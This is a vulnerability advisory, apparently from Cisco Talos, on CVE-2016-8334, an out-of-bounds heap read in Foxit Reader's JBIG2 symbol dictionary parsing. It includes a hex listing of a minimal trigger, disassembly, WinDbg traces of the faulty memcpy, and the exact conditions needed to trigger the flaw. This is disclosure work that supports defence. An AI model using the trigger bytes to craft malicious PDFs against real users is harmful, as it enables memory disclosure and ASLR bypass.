CVE-2016-8334
A large out of bounds read on the heap vulnerability in Foxit PDF Reader can potentially be abused for information disclosure. Combined with another vulnerability, it can be used to leak heap memory layout and in bypassing ASLR.
Foxit Software Foxit Reader 8.0.2.805
https://www.foxitsoftware.com/products/pdf-reader/
6.8 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:H
A wrongly bounded call to memcpy
while parsing JBIG2 segments contained in a PDF file can be triggered in the Foxit PDF Reader that would cause an out of bounds heap memory to be read into a buffer. The destination buffer of the memcpy
call is properly sized, but the source is smaller than the size argument, causing the adjacent memory to be copied into a buffer that is further controlled. This will cause heap data including metadata, addresses and pointers to be copied into a buffer which is later reused, disclosing memory layout which can lead to an ASLR bypass.
The vulnerability is present in the code responsible for parsing symbol dictionary segments. A sample JBIG2 file which is enough to trigger the vulnerability is as follows:
00 00 00 02 segment number (2)
00 segment type (symbol dictionary)
00 refered-to segments (none)
00 refered-to page ( 0)
00 00 00 09 data size (9 bytes)
0A 00 00 00 00 00 00 00 00 data
00 00 00 03 segment number (3)
00 segment type (symbol dictionary)
20 refered-to segments (0010 0000, 3 MSB bits are count, meaning 1 refered-to segment)
02 id of the refered-to segment (2)
00 refered-to page (0)
00 00 00 11 data size (17 bytes)
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
In the above listing, we have broken down two JBIG2 segments. Both are of type symbol dictionary
. Important thing to note is that the second segment refers to the first one. Segment data in the first segment is further broken down as follows:
0A00 - SDTEMPLATE == 10 , bitmap coding context retained = 1 , bitmap coding context used = 0
Segment data in the second segment is:
01 00 -- bitmap coding context retained = 0, bitmap coding context used = 1
Rest of the bytes in both segments can be ignored for now.
The vulnerability itself if present in the function at 00979119 (image load base 0x00400000) which is parsing the details of symbol dictionary type segments.
The paths in that function while parsing each segment diverge at the following location:
.text:0097957E
.text:0097957E loc_97957E:
.text:0097957E test [ebp+var_40], 100h [1]
.text:00979585 jz loc_97965D
At [1] in the above disassembly, a single (8th) bit in segment data is tested. 8th bit signifies if “bitmap coding context” is used. In the case of the first segment it isn’t set. The path continues in the function until it reaches the following interesting block:
.text:00979663 mov al, [edi+2Ch] [2]
.text:00979666 test al, al
.text:00979668 jnz short loc_979671
In the above disassembly, a single byte is tested and it decides which of the following blocks is executed:
.text:0097966A mov ebx, 10000h
.text:0097966F jmp short loc_979685
Above block sets the value of ebx
to 65536.
.text:00979671
.text:00979671 loc_979671:
.text:00979671 xor ebx, ebx
.text:00979673 cmp al, 1
.text:00979675 setnz bl
.text:00979678 dec ebx
.text:00979679 and ebx, 1C00h
.text:0097967F add ebx
In the second branch , listing above, the value of ebx ends up being 0x400.
Both of these are followed by an allocation which is sized by value in ebx
times 8.
.text:00979685 loc_979685:
.text:00979685 mov ecx, [esi]
.text:00979687 mov eax, [ecx]
.text:00979689 push ebx
.text:0097968A push 8
.text:0097968C call dword ptr [eax+4]
The byte being tested to decide which path to take (allocating 80x10000 or 80x400) depends on the bits 12 and 11 of the data segment header which is extracted by the following code:
.text:009791AF mov edx, ebx [1]
.text:009791B1 mov al, bl
.text:009791B3 shr edx, 0Ah [2]
.text:009791B6 shr al, 6
.text:009791B9 shr bl, 7
.text:009791BC and ecx, 1
.text:009791BF and dl, 3 [3]
.text:009791C2 and al, 1
.text:009791C4 and bl, 1
.text:009791C7 mov [edi+4], ecx
.text:009791CA mov [edi+2Ch], dl [4]
In the above disassembly, at [1] the start of the data segment is copied into edx. At [2] first 10 bits are discarded and at [3], only first two of the remaining 6 are left and then saved at edi+2ch
at [4]. These two bits represent the SDTEMPLATE value. As the SDTEMPLATE value is 0b10 in the first segment, the second branch is taken prior to the allocation, meaning the allocated buffer will be 8*0x400 == 0x2000 bytes long. This can be observed in the following debugging session:
Breakpoint 0 hit
eax=00000000 ebx=00120a00 ecx=00000a00 edx=00000000 esi=10cfefa0 edi=13440fc0
eip=009791af esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitReader_Lib_Full+0x5791af:
009791af 8bd3 mov edx,ebx [1]
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00120a00 ecx=00000000 edx=00000402 esi=10cfefa0 edi=13440fc0
eip=009791ca esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitReader_Lib_Full+0x5791ca:
009791ca 88572c mov byte ptr [edi+2Ch],dl ds:0023:13440fec=00 [2]
0:000> g
Breakpoint 2 hit
eax=00000000 ebx=13258fd0 ecx=128ccfe8 edx=00000000 esi=10cfefa0 edi=13440fc0
eip=0097957e esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200297
FoxitReader_Lib_Full+0x57957e:
0097957e f745c000010000 test dword ptr [ebp-40h],100h ss:0023:0012f5ec=00120a00
0:000> dd ebp-0x40
0012f5ec 00120a00 00000000 00000002 00000000 [3]
0012f5fc 00000000 00000000 00000000 00000000
0012f60c 00000000 00000000 00000000 00000000
0012f61c 00000000 0012f650 01b599ce ffffffff
0012f62c 0012f65c 0097b206 13258fd0 1333cf98
0012f63c 5c1896a6 00000000 10cfefa0 00000000
0012f64c 10cfefa0 0012f698 01b59b34 ffffffff
0012f65c 0012f670 0097b47c 13258fd0 1333cf98
0:000> g
Breakpoint 3 hit
eax=00000000 ebx=13258fd0 ecx=128ccfe8 edx=00000000 esi=10cfefa0 edi=13440fc0
eip=00979663 esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitReader_Lib_Full+0x579663:
00979663 8a472c mov al,byte ptr [edi+2Ch] ds:0023:13440fec=02
0:000> t
eax=00000002 ebx=13258fd0 ecx=128ccfe8 edx=00000000 esi=10cfefa0 edi=13440fc0
eip=00979666 esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitReader_Lib_Full+0x579666:
00979666 84c0 test al,al [4]
0:000> t
eax=00000002 ebx=13258fd0 ecx=128ccfe8 edx=00000000 esi=10cfefa0 edi=13440fc0
eip=00979668 esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitReader_Lib_Full+0x579668:
00979668 7507 jne FoxitReader_Lib_Full+0x579671 (00979671) [br=1]
0:000> g
Breakpoint 4 hit
eax=01e50ad4 ebx=00000400 ecx=07252ffc edx=00000000 esi=10cfefa0 edi=13440fc0
eip=0097968c esp=0012f5d0 ebp=0012f62c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitReader_Lib_Full+0x57968c:
0097968c ff5004 call dword ptr [eax+4] ds:0023:01e50ad8=009330cd
0:000> dd esp [5]
0012f5d0 00000008 00000400 5c1896d6 00000000
0012f5e0 10cfefa0 00000000 10cfefa0 00120a00
0012f5f0 00000000 00000002 00000000 00000000
0012f600 00000000 00000000 00000000 00000000
0012f610 00000000 00000000 00000000 00000000
0012f620 0012f650 01b599ce ffffffff 0012f65c
0012f630 0097b206 13258fd0 1333cf98 5c1896a6
0012f640 00000000 10cfefa0 00000000 10cfefa0
0:000> p
eax=13279000 ebx=00000400 ecx=00002000 edx=00000000 esi=10cfefa0 edi=13440fc0
eip=0097968f esp=0012f5d8 ebp=0012f62c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
FoxitReader_Lib_Full+0x57968f:
0097968f 8bcb mov ecx,ebx [6]
In the above windbg session, it can be observed that at [1], two bytes from ebx correspond to begining of segment data from the first segment. At [2], we can see that the saved bits are 0b10, corresponding to the SDTEMPLATE value. At [3] is the point where the paths for the two segments diverge, the segment data header doesn’t have “bitmap coding context used” bit set and then proceeds to the [4] where previously extracted SDTEMPLATE value is being tested. It’s not 0, so we get to [5] where a memory allocation function is called with 8 and 0x400 as parameters. THe returned value at [6] is in eax
and is 0x13279000
.
Next, the process continues to parse the second segment. A different path takes it to a slightly different part of the code. Because in the second segment, the “bitmap coding context used” bit it set, we land at the same test as before, but in a different location:
.text:009795A9 mov al, [edi+2Ch]
.text:009795AC test al, al
.text:009795AE jnz short loc_9795E3
Again, the value of SDTEMPLATE is compared, but this time it will be 0, taking the following branch:
.text:009795B0 mov ebx, 10000h
.text:009795B5 jmp short loc_9795F7
Here we see the value in ebx
being set to 0x10000 (the other branch sets it to 0x400 again) and it is subsequently used as a size argument to memcpy
:
.text:009795F7
.text:009795F7 loc_9795F7:
.text:009795F7 mov ecx, [esi]
.text:009795F9 mov eax, [ecx]
.text:009795FB push ebx
.text:009795FC push 8
.text:009795FE call dword ptr [eax+4] ;
.text:00979601 mov ecx, ebx
.text:00979603 shl ecx, 3
.text:00979606 push ecx
.text:00979607 mov ecx, [ebp+var_3C]
.text:0097960A mov ecx, [ecx+2Ch]
.text:0097960D push dword ptr [ecx+10h]
.text:00979610 mov [ebp+var_1C], eax
.text:00979613 push eax
.text:00979614 call memcpy
.text:00979619 add esp, 0Ch
If we observe the execution in the debugger, it can be seen
eax=11800000 ebx=00010000 ecx=11d14fe8 edx=00000000 esi=121a8fa0 edi=12c60fc0
eip=00979614 esp=0012f5cc ebp=0012f62c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitReader_Lib_Full+0x579614:
00979614 e844d51000 call FoxitReader_Lib_Full+0x686b5d (00a86b5d)
0:000> dd esp
0012f5cc 11800000 13279000 00080000 fda93eb8
0012f5dc 00000014 121a8fa0 00000000 121a8fa0
0012f5ec 00000100 126b8fd0 121acffc 00000000
0012f5fc 00000000 00000000 00000000 00000000
0012f60c 00000000 11800000 00000000 00000001
0012f61c 00000000 0012f650 01b599ce ffffffff
0012f62c 0012f65c 0097b206 11fe4fd0 131caf98
0012f63c fda93ec8 00000014 121a8fa0 00000000
In the above windbg excerpt it can be seen that the memcpy call has the destination pointer at 0x11800000 , source pointer at 0x13279000 (which is our previously allocated buffer), and size of 0x80000.
0:000> !heap -p -a 11800000
address 11800000 found in
_DPH_HEAP_ROOT @ 6201000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
11fa2c64: 11800000 80000 - 117ff000 82000
11248e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77f8628e ntdll!RtlDebugAllocateHeap+0x00000030
77f4a6cb ntdll!RtlpAllocateHeap+0x000000c4
77f15d20 ntdll!RtlAllocateHeap+0x0000023a
0086a24a FoxitReader_Lib_Full+0x0046a24a
In the above, we can see that the destination is propperly sized for a 0x80000 memcpy
.
0:000> !heap -p -a 13279000
address 13279000 found in
_DPH_HEAP_ROOT @ 6201000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
128a0e04: 13279000 2000 - 13278000 4000
11248e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77f8628e ntdll!RtlDebugAllocateHeap+0x00000030
77f4a6cb ntdll!RtlpAllocateHeap+0x000000c4
77f15d20 ntdll!RtlAllocateHeap+0x0000023a
The source, on the other hand, is not, leading to a large out of bounds heap read and eventually a crash:
0:000> g
(1aa0.1b64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=11800000 ebx=00000000 ecx=1327b000 edx=11802000 esi=0001f800 edi=00080000
eip=00a86b8a esp=0012f5b8 ebp=0012f5c4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
FoxitReader_Lib_Full+0x686b8a:
00a86b8a 8b19 mov ebx,dword ptr [ecx] ds:0023:1327b000=????????
The application crashes due to an out of bounds read attempt at the guard page because Page Heap is enabled. When it’s not, and there other objects allocated on the heap past the source buffer, a memcpy could succeed potentially disclosing sensitive information.
In order to trigger the vulnerability, a couple of conditions need to be met. First, there needs to exist a symbol dictionary segment which refers to another symbol dictionary segment. The referred-to segment needs to have SDTEMPLATE value other than 0, and must have “bitmap coding context used” unset, wheres the referee segment, must have SDTEMPLATE as 0, and “bitmap coding context used” set.
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
FoxitReader_Lib_Full+686b8a
00a86b8a 8b19 mov ebx,dword ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00a86b8a (FoxitReader_Lib_Full+0x00686b8a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 1327b000
Attempt to read from address 1327b000
CONTEXT: 00000000 -- (.cxr 0x0;r)
eax=11800000 ebx=00000000 ecx=1327b000 edx=11802000 esi=0001f800 edi=00080000
eip=00a86b8a esp=0012f5b8 ebp=0012f5c4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
FoxitReader_Lib_Full+0x686b8a:
00a86b8a 8b19 mov ebx,dword ptr [ecx] ds:0023:1327b000=????????
FAULTING_THREAD: 00001b64
PROCESS_NAME: FoxitReader_Lib_Full.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 1327b000
READ_ADDRESS: 1327b000
FOLLOWUP_IP:
FoxitReader_Lib_Full+686b8a
00a86b8a 8b19 mov ebx,dword ptr [ecx]
NTGLOBALFLAG: 2000000
APPLICATION_VERIFIER_FLAGS: 0
APP: foxitreader_lib_full.exe
ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_BEFORE_WRITE
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_BEFORE_WRITE
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_BEFORE_WRITE
LAST_CONTROL_TRANSFER: from 00979619 to 00a86b8a
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f5c4 00979619 11800000 13279000 00080000 FoxitReader_Lib_Full+0x686b8a
0012f62c 0097b206 11fe4fd0 131caf98 fda93ec8 FoxitReader_Lib_Full+0x579619
0012f65c 0097b47c 11fe4fd0 131caf98 121a8fa0 FoxitReader_Lib_Full+0x57b206
0012f670 0097b51c 11fe4fd0 131caf98 fda93e30 FoxitReader_Lib_Full+0x57b47c
0012f6a4 0097b87b 131caf98 00000001 121a8fa0 FoxitReader_Lib_Full+0x57b51c
0012f6b8 0097bb0c 131caf98 fda93e78 00059088 FoxitReader_Lib_Full+0x57b87b
0012f6ec 00940b79 117a4f70 00000598 000007ea FoxitReader_Lib_Full+0x57bb0c
0012f718 008d404a 08672fc8 00000598 000007ea FoxitReader_Lib_Full+0x540b79
0012f77c 008d6ba8 131caf98 00000001 12c8afc0 FoxitReader_Lib_Full+0x4d404a
0012f79c 008d2b26 131caf98 10beefc8 0012f7c0 FoxitReader_Lib_Full+0x4d6ba8
0012f7ac 008d2d90 131caf98 00000001 12295fe8 FoxitReader_Lib_Full+0x4d2b26
0012f7c0 008d722a 131caf98 00000001 121bef80 FoxitReader_Lib_Full+0x4d2d90
0012f7d4 008d72bc 131caf98 0012f7fc 008fd121 FoxitReader_Lib_Full+0x4d722a
0012f7e0 008fd121 12295fe8 131caf98 13570fb0 FoxitReader_Lib_Full+0x4d72bc
0012f7fc 008ba42f 131caf98 13570fb0 00000000 FoxitReader_Lib_Full+0x4fd121
0012f814 008ba666 0012f800 132befe4 131caf98 FoxitReader_Lib_Full+0x4ba42f
0012f878 008ba8d2 131caf98 12058fd8 0012f9bc FoxitReader_Lib_Full+0x4ba666
0012f888 00db45d7 126b6fb0 10dcafc8 12f9efd8 FoxitReader_Lib_Full+0x4ba8d2
0012f9bc 00db4cb1 0ad9cfd0 00000008 fffff9df FoxitReader_Lib_Full+0x9b45d7
0012f9f4 00db5100 0ad9cfd0 131cafb0 0012fa20 FoxitReader_Lib_Full+0x9b4cb1
0012fa04 00db51fb 0ad9cfd0 12f9cf60 0ad9cfd0 FoxitReader_Lib_Full+0x9b5100
0012fa20 00db52c5 0ad9cfd0 0000073c 12f9cf60 FoxitReader_Lib_Full+0x9b51fb
0012fa34 00db567c 0ad9cfd0 12f9cf60 00db594f FoxitReader_Lib_Full+0x9b52c5
0012fa78 00db59e1 ef011cb7 0012fba4 005e6b0a FoxitReader_Lib_Full+0x9b567c
0012fa84 005e6b0a 00000001 fda93330 135b2d00 FoxitReader_Lib_Full+0x9b59e1
0012fba4 006cbec8 fda934c0 0000000f 135b2d00 FoxitReader_Lib_Full+0x1e6b0a
0012fc54 006c627e 0000000f 00000000 0225ec28 FoxitReader_Lib_Full+0x2cbec8
0012fc74 006ca23f 0000000f 00000000 00000000 FoxitReader_Lib_Full+0x2c627e
0012fce8 006ca2ce 135b2d00 00770e02 0000000f FoxitReader_Lib_Full+0x2ca23f
0012fd08 77d2c4e7 00770e02 0000000f 00000000 FoxitReader_Lib_Full+0x2ca2ce
0012fd34 77d25f9f 006ca298 00770e02 0000000f USER32!InternalCallWinProc+0x23
0012fdac 77d24f0e 04372ed4 006ca298 00770e02 USER32!UserCallWinProcCheckWow+0xe0
0012fe08 77d24f7d 04e82058 0000000f 00000000 USER32!DispatchClientMessage+0xda
0012fe30 77f0702e 0012fe48 00000018 0012fe94 USER32!__fnDWORD+0x24
0012fe5c 77d25d0c 77d25d33 05ed7ec8 fda4a0c4 ntdll!KiUserCallbackDispatcher+0x2e
0012fe60 77d25d33 05ed7ec8 fda4a0c4 05ed7ec8 USER32!NtUserDispatchMessage+0xc
0012fea4 77d2cc70 006ca298 00000000 0012fee4 USER32!DispatchMessageWorker+0x3d5
0012feb4 006c42ff 05ed7ec8 00000000 028a7bf0 USER32!DispatchMessageW+0xf
0012fee4 0199fb8e 00000000 00000000 7ffd7000 FoxitReader_Lib_Full+0x2c42ff
0012fef8 008656a9 00400000 00000000 0016aeb2 FoxitReader_Lib_Full!CryptUIWizExport+0x9384ce
0012ff88 77e2ee6c 7ffd7000 0012ffd4 77f23a03 FoxitReader_Lib_Full+0x4656a9
0012ff94 77f23a03 7ffd7000 595101e2 00000000 kernel32!BaseThreadInitThunk+0xe
0012ffd4 77f239d6 008656fc 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x70
0012ffec 00000000 008656fc 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: .cxr 0x0 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: foxitreader_lib_full+686b8a
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: FoxitReader_Lib_Full
IMAGE_NAME: FoxitReader.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 57a46fe3
FAILURE_BUCKET_ID: INVALID_POINTER_READ_BEFORE_WRITE_c0000005_FoxitReader.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_BEFORE_WRITE_foxitreader_lib_full+686b8a
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:invalid_pointer_read_before_write_c0000005_foxitreader.exe!unknown
FAILURE_ID_HASH: {7d4ef754-f163-6f8a-daac-cd49c3177d6b}
Followup: MachineOwner
---------
2016-09-06 - Vendor Disclosure
2016-10-18 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.